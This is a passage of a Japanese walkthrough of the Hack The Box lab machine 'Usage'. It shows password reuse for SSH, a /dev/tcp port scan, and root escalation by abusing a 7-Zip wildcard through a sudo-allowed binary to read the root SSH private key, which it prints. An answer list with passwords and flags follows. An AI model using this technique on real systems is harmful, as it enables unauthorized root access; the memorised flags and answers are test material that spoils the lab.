check process apache with pidfile "/var/run/apache2/apache2.pid"
if cpu > 80% for 2 cycles then alert
#System Monitoring
check system usage
if memory usage > 80% for 2 cycles then alert
if cpu usage (user) > 70% for 2 cycles then alert
if cpu usage (system) > 30% then alert
if cpu usage (wait) > 20% then alert
if loadavg (1min) > 6 for 2 cycles then alert
if loadavg (5min) > 4 for 2 cycles then alert
if swap usage > 5% then alert
check filesystem rootfs with path /
if space usage > 80% then alertxanderユーザーでSSHログイン
(1) .monitrcファイルに記載されたパスワードがxanderユーザーでも使い回されている可能性があるため、試しにsshで接続するとログインできることが分かる。
$ ssh xander@usage.htb
→パスワード(3nc0d3d_pa$$w0rd)を入力する。
(2) 現在ログインしているユーザー情報を確認すると、xanderユーザーであることが分かる。
$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)
$ whoami
xander特権昇格のための調査
(1) sudoコマンドの設定を確認すると、パスワードなしでrootユーザー権限で/usr/bin/usage_managementを実行できることが分かる。
※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ sudo -l
→パスワード(3nc0d3d_pa$$w0rd)を入力する。
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
(2) SUIDファイルを検索する。
※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ find / -perm -u=s -type f 2> /dev/null
/snap/core20/2015/usr/bin/chfn
/snap/core20/2015/usr/bin/chsh
/snap/core20/2015/usr/bin/gpasswd
/snap/core20/2015/usr/bin/mount
/snap/core20/2015/usr/bin/newgrp
/snap/core20/2015/usr/bin/passwd
/snap/core20/2015/usr/bin/su
/snap/core20/2015/usr/bin/sudo
/snap/core20/2015/usr/bin/umount
/snap/core20/2015/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2015/usr/lib/openssh/ssh-keysign
/snap/core20/1974/usr/bin/chfn
/snap/core20/1974/usr/bin/chsh
/snap/core20/1974/usr/bin/gpasswd
/snap/core20/1974/usr/bin/mount
/snap/core20/1974/usr/bin/newgrp
/snap/core20/1974/usr/bin/passwd
/snap/core20/1974/usr/bin/su
/snap/core20/1974/usr/bin/sudo
/snap/core20/1974/usr/bin/umount
/snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1974/usr/lib/openssh/ssh-keysign
/snap/snapd/20290/usr/lib/snapd/snap-confine
/snap/snapd/19993/usr/lib/snapd/snap-confine
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/su
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/fusermount3
/usr/libexec/polkit-agent-helper-1
(3) .bash_historyファイルを確認すると、何も出力されない。
※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ cat /home/xander/.bash_history
(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。
※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done 2>/dev/null
22 open
80 open
2812 open
3306 open
33060 open
(5) OSの情報を確認すると、「Ubuntu 22.04.4 LTS」であることが分かる。
※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ uname -a
Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 22.04.4 LTS
Release: 22.04
Codename: jammy特権昇格(sudo設定の脆弱性)
(1) 「sudo -l」コマンドの結果/usr/bin/usage_managementファイルはパスワードなしでrootユーザー権限で実行できることが分かっている。
(2) /usr/bin/usage_managementのファイルタイプを確認すると、Linuxの実行ファイルであることが分かる。
※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped
(3) /usr/bin/usage_managementを実行して、「1. Project Backup」を選択すると7-Zipを用いて/var/backups/project.zipというバックアップファイルを生成していることが分かる。
※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI)
Scanning the drive:
2984 folders, 17945 files, 113878710 bytes (109 MiB)
Creating archive: /var/backups/project.zip
Items to compress: 20929
Files read from disk: 17945
Archive size: 54829555 bytes (53 MiB)
Everything is Ok
(4) project.zipファイルの権限を確認すると、一般ユーザー(xander)では書き込み権限がないためファイルを解凍できないことが分かる。
※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ ls -al /var/backups/project.zip
-rw-r--r-- 1 root root 54829555 Jul 20 04:39 /var/backups/project.zip
(5) stringsコマンドでusage_managementの内容を確認すると、「1. Project Backup」を選択したときに「/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt — *」コマンドを実行して「/var/www/html」配下のファイルをバックアップしていると推測できる。
※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ strings /usr/bin/usage_management
ーーー(省略)ーーー
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
Invalid choice.
ーーー(省略)ーーー
(6) HackTricks(https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/wildcards-spare-tricks.html?highlight=7za#7z)で任意のファイルを読み込む方法が記載されている。
(7) HackTricksに記載された手順に従ってrootユーザーのSSHの秘密鍵(/root/.ssh/id_rsa)を読み込むための準備をする。
※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ cd /var/www/html
$ touch @id_rsa
$ ln -s /root/.ssh/id_rsa id_rsa
(8) root権限で/usr/bin/usage_managementを実行すると、SSHの秘密鍵(/root/.ssh/id_rsa)の内容が出力される。
※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI)
Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54830122
Scanning the drive:
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----
WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
WARNING: No more files
-----END OPENSSH PRIVATE KEY-----
2984 folders, 17948 files, 113879332 bytes (109 MiB)
Updating archive: /var/backups/project.zip
Items to compress: 20932
Files read from disk: 17948
Archive size: 54830263 bytes (53 MiB)
Scan WARNINGS for files and folders:
-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7
(9) 出力されたSSHの秘密鍵(/root/.ssh/id_rsa)の内容をファイルに書き込む。
※Kali Linux上で以下のコマンドを実行する。
$ vi root_id_rsa
【root_id_rsaに記載する内容】
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
(10) SSHの秘密鍵を用いてrootユーザーでログインする。
※Kali Linux上で以下のコマンドを実行する。
$ chmod 600 root_id_rsa
$ ssh root@usage.htb -i root_id_rsa
→rootのシェル(#)が表示される。
(11) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。
※rootユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
(12) 特権ユーザー用のフラグファイルを確認する。
※rootユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
# cat /root/root.txt
d2e6cb23e6323021ea14801c704f26fb[補足] Guided ModeのQA
・Task 1
問題(英語訳):How many open TCP ports are listening on Usage?
問題(日本語訳):使用状況でリッスンしている開いている TCP ポートはいくつありますか?
答え:2
・Task 2
問題(英語訳):What domain name is a subdomain of usage.htb that returns a different page than the default redirect to usage.htb?
問題(日本語訳):usage.htb へのデフォルトのリダイレクトとは異なるページを返す usage.htb のサブドメインはどのドメイン名ですか?
答え:admin.usage.htb
・Task 3
問題(英語訳):What PHP web framework is the website written with?
問題(日本語訳):この Web サイトはどの PHP Web フレームワークを使用して作成されていますか?
答え:laravel
・Task 4
問題(英語訳):What is the HTTP POST parameter that is vulnerable to SQL injection?
問題(日本語訳):SQL インジェクションに対して脆弱な HTTP POST パラメータとは何ですか?
答え:email
・Task 5
問題(英語訳):How many tables are in the usage_blog database?
問題(日本語訳):usage_blog データベースにはテーブルがいくつありますか?
答え:15
・Task 6
問題(英語訳):What is the admin user's password to the admin website?
問題(日本語訳):管理者ウェブサイトの管理者ユーザーのパスワードは何ですか?
答え:whatever1
・Task 7
問題(英語訳):What PHP package is responsible for the admin panel?
問題(日本語訳):管理パネルを担当する PHP パッケージは何ですか?
答え:laravel-admin
・Task 8
問題(英語訳):What is the 2023 CVE ID for an arbitrary file upload vulnerability that leads to remote code execution in this version of Laravel-Admin?
問題(日本語訳):このバージョンの Laravel-Admin におけるリモート コード実行につながる任意のファイルアップロードの脆弱性の 2023 CVE ID は何ですか?
答え:CVE-2023-24249
・Task 9
問題(英語訳):What user is the webserver running as on Usage?
問題(日本語訳):使用状況で Web サーバーはどのユーザーとして実行されていますか?
答え:dash
・Submit User Flag
問題(英語訳):Submit the flag located in the dash user's home directory.
問題(日本語訳):dash ユーザーのホーム ディレクトリにあるフラグを送信します。
答え:22fbdfd0e0a5648824d3c6b8d197973a
※「/home/dash/user.txt」の内容。
・Task 11
問題(英語訳):What is the xander user's password on Usage?
問題(日本語訳):使用状況における xander ユーザーのパスワードは何ですか?
答え:3nc0d3d_pa$$w0rd
・Task 12
問題(英語訳):What is the full path of the file that xander can run as any user without a password on Usage?
問題(日本語訳):xander が Usage でパスワードなしで任意のユーザーとして実行できるファイルのフル パスは何ですか?
答え:/usr/bin/usage_management
・Task 13
問題(英語訳):Which option in usage_management invokes 7Zip?
問題(日本語訳):usage_management のどのオプションが 7Zip を呼び出しますか?
答え:1
・Task 14
問題(英語訳):What is the full command line for 7Zip when it is invoked by usage_management?
問題(日本語訳):usage_management によって呼び出されたときの 7Zip の完全なコマンド ラインは何ですか?
答え:/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
・Task 15
問題(英語訳):What is the full path to the root user's private SSH key?`
問題(日本語訳):ルートユーザーの秘密 SSH キーへのフルパスは何ですか?
答え:/root/.ssh/id_rsa
・Submit Root Flag
問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):ルート ユーザーのホーム ディレクトリにあるフラグを送信します。
答え:d2e6cb23e6323021ea14801c704f26fb
※「/root/root.txt」の内容。関連記事(Hack The Box)
※後日作成予定。

